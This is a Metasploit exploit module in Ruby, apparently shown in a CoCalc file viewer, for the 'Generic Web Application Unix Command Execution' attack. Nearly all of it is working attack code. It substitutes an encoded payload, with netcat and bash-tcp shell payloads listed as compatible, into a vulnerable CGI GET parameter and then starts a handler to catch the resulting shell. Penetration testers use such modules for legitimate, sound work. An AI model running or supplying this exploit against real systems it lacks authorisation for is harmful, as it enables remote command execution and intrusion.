CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::HttpClient
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Generic Web Application Unix Command Execution',
15
      'Description'    => %q{
16
          This module can be used to exploit any generic command execution vulnerability
17
        for CGI applications on Unix-like platforms. To use this module, specify the
18
        CMDURI path, replacing the command itself with XXcmdXX. This module is currently
19
        limited to forms vulnerable through GET requests with query parameters.
20
      },
21
      'Author'         => [ 'hdm' ],
22
      'License'        => MSF_LICENSE,
23
      'References'     => [ ],
24
      'Privileged'     => false,
25
      'Payload'        =>
26
        {
27
          'DisableNops' => true,
28
          'Space'       => 1024,
29
          'Compat'      =>
30
            {
31
              'PayloadType' => 'cmd cmd_bash',
32
              'RequiredCmd' => 'generic perl telnet netcat netcat-e bash-tcp',
33
            }
34
        },
35
      'Platform'       => 'unix',
36
      'Arch'           => ARCH_CMD,
37
      'Targets'        => [[ 'Automatic', { }]],
38
      'DisclosureDate' => '1993-11-14', # CGI historical date :)
39
      'DefaultTarget' => 0))
40

41
    register_options(
42
      [
43
        OptString.new('CMDURI', [true, "The full URI path with the XXcmdXX parameter", "/cgi-bin/generic?cmd=XXcmdXX"]),
44
      ])
45
  end
46

47
  def exploit
48
    uri = datastore['CMDURI'].to_s
49
    uri,query = uri.split('?', 2)
50

51
    if query
52
      query = query.split('&').map{|var|
53
        k,v = var.split('=', 2)
54
        Rex::Text.uri_encode(k) + "=" + Rex::Text.uri_encode(v.gsub("XXcmdXX", payload.encoded))
55
      }.join('&')
56
      uri = uri + '?' + query
57
    end
58

59
    print_status("Sending HTTP request for #{uri}")
60
    res = send_request_cgi( {
61
      'global' => true,
62
      'uri'    => uri
63
    }, 30)
64

65
    if res
66
      print_status("The server responded with HTTP CODE #{res.code}")
67
    else
68
      print_status("The server did not respond to our request")
69
    end
70

71
    handler
72
  end
73
end
74

75